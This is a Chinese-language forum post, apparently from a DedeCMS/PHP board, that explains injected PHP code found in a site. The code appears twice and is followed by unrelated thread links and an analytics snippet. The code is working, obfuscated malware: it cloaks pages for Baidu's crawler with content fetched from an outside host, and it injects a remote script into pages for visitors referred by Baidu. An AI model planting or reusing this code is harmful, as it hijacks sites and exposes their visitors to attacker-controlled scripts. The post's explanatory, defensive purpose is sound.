原理很好明白:
//下面字符串内容为:<script src=http://c.dnpk.me.:7050/tv.htm></script>
$dedeN="PHNjcmlwdCBzcmM9aHR0cDovL2MuZG5way5tZS46NzA1MC90di5odG0+PC9zY3JpcHQ+";
//下面if判断检查是否为百度爬虫,这样是,直接丢给爬虫的是其它网站的一个网页内容
if(strpos(strtolower($_SERVER["HT"."TP_US"."E"."R_AG"."EN"."T"]),"aidu")){
//file_get_contents 读取链接 http://b.dnpk.net:833/yx1/tv.asp 的内容
echo file_get_contents(base64_decode('aHR0cDovL2IuZG5way5uZXQ6ODMzL3l4MS90di5hc3A='));
//终止程序执行
exit();}
else if(stristr($_SERVER["H"."TT"."P_REF"."E"."RER"],"aidu")){
//如果从百度过来的链接:则你的网页中会包含:<script src=http://c.dnpk.me.:7050/tv.htm></script>
echo base64_decode($dedeN); }
//下面字符串内容为:<script src=http://c.dnpk.me.:7050/tv.htm></script>
$dedeN="PHNjcmlwdCBzcmM9aHR0cDovL2MuZG5way5tZS46NzA1MC90di5odG0+PC9zY3JpcHQ+";
//下面if判断检查是否为百度爬虫,这样是,直接丢给爬虫的是其它网站的一个网页内容
if(strpos(strtolower($_SERVER["HT"."TP_US"."E"."R_AG"."EN"."T"]),"aidu")){
//file_get_contents 读取链接 http://b.dnpk.net:833/yx1/tv.asp 的内容
echo file_get_contents(base64_decode('aHR0cDovL2IuZG5way5uZXQ6ODMzL3l4MS90di5hc3A='));
//终止程序执行
exit();}
else if(stristr($_SERVER["H"."TT"."P_REF"."E"."RER"],"aidu")){
//如果从百度过来的链接:则你的网页中会包含:<script src=http://c.dnpk.me.:7050/tv.htm></script>
echo base64_decode($dedeN); }
解决方案 »
- yui richText 不能传值到后台 急急
- 用phpthumb动态生成的图片,如何保存为文件,多谢
- dede系统制作的3322游戏站www.3322.cc要怎么样才能弄懂程序
- 织梦dedecms开源程序安装以后,为什么邮件发送不成功呢?
- centos 6.0 安装lnmp 在安装libcom_err-devel-1.41.12-3.el6.i686.rpm报错,
- 高并发网站扩展架构设计,一起来聊聊!
- php不能嵌入到html中,超级简单的问题
- 贡献资源,另外邀请各位加入web设计社区
- 制作视频秀网站大概流程
- 关于XSS 跨站脚本漏洞怎么修复?这个是需要JS过滤掉吗?
- 大家觉得, 写程序的时候,过于考虑往后的扩展,维护是不是不好?????
- $xml->load("test.xml")的问题?
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fb72ab2d3720957a8c84e9d1b4e4224e5' type='text/javascript'%3E%3C/script%3E"));
</script>